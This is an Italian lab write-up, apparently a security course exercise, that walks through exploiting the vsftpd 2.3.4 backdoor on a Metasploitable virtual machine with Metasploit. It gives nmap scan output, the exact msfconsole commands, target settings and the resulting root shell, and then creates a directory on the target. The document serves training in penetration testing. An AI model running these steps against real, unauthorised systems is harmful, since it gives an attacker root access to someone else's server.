

Hacking con Metasploit

Descrizione dell'esercizio

L'esercizio di oggi ci chiede di testare una sessione di hacking su Metasploitable utilizzando Metasploit, faremo ciò sfruttando una vulnerabilità nel servizio vsftpd, e successivamente creeremo una cartella chiamata test_metasploit nella directory di root del target.

Cos'è Metasploit?

Metasploit è un framework open source per lo sviluppo, il test e l'esecuzione di exploit e payload nel campo della sicurezza informatica.

Cos'è il servizio vsftpd?

vsftpd (Very Secure FTP Daemon) è un server FTP (File Transfer Protocol) progettato per fornire un servizio di trasferimento file su reti TCP/IP in modo sicuro e efficiente.

Esecuzione dell'esercizio

Confermiamo la presenza del servizio facendo una scansione del target con nmap

```
(kali㉿kali)-[~]
└─$ nmap -sV -sC 192.168.1.101
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-22 14:05 CET
Nmap scan report for WINDOWSXP.station (192.168.1.101)
Host is up (0.00022s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.1.100
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
```

Da qui vediamo anche la versione (2.3.4) che ci servirà per cercare l'exploit corrispondente.

Avviamo Metasploit col comando **msfconsole**

```
(kali@kali)-[~]
$ msfconsole

d8P
d8bd8b.d8p d88888b ?88' d888b8b
88P`?P'?P d8b_,dP 88P d8P' ?88
d88 d8 ?8 88b 88b 88b ,88b .osS$$$$* ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P`?8b`?88P'.aS$$$$Q*" `?88' ?88 ?88 88b d88 d88
.a$$$$$$$" 88b d8P 88b`?8888P'
.s$$$$$$$" 888888P' 88n
.a$$$$$$$P d88P' .,ass%#S$$$$$$$$$$$$$$$$$'
.a$####$P _.,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'
,a$####$P _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
.a$$$$$$$$SS$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS#=-"'^^/$$$$$$'
,6$$$$$'
l166$$$$$'
.;,l166666'
...;;l1118'
.....;;l111;;....
.....;;;;....

=[ metasploit v6.3.27-dev ]
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post ]
+ -- --=[ 1382 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: View all productivity tips with the
tips command
Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

Il terminale cambierà mostrando **msf6>** confermando il corretto avvio di Metasploit.

Usiamo il comando **search** per trovare un'exploit corrispondente al servizio e versione presente sul target.

```
msf6 > search vsftpd 2.3.4

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Confermato che esiste un'exploit specifico per questa versione lo selezioniamo col comando **use** seguito dal numero dell'exploit (o path).

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

La parola exploit seguita dal path dello stesso ci conferma il caricamento dell'exploit.

Andiamo a configurarlo vedendo prima le opzioni necessarie con **show options**.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      CPORT            no        The local client address
  CPOR       no               The local client port
  Proxies    no               A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     yes              The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -

Exploit target:

  Id  Name
  --  -
  0    Automatic
```

Qui vediamo che le due opzioni obbligatorie per eseguire l'exploit sono RHOSTS (IP del target) e RPORT (porta del target), il secondo è già preimpostato e va bene nel nostro caso, andiamo quindi ad inserire il primo con **set RHOSTS**.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
```

Confermato ciò possiamo procedere ad avviare l'exploit usando il comando **run** (o **exploit**).

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.101:21 - USER: 331 Please specify the password.
[+] 192.168.1.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:39095 -> 192.168.1.101:6200) at 2024-01-22 14:16:59 +0100
```

L'output ci conferma l'apertura della shell e di conseguenza la corretta esecuzione dell'exploit.

Creiamo la directory nel path richiesto dall'esercizio.

```
mkdir /test_metasploit
```

Per confermare la creazione della directory andiamo su Metasploitable ed elenchiamo le directory presenti nel percorso di root.

```
msfadmin@metasploitable:/$ ls
bin      dev      initrd   lost+found  nohup.out  root      sys      usr
boot     etc      initrd.img  media       opt         sbin      test_metasploit  var
cdrom    home    lib      mnt         proc        srv       tmp       vmlinuz
```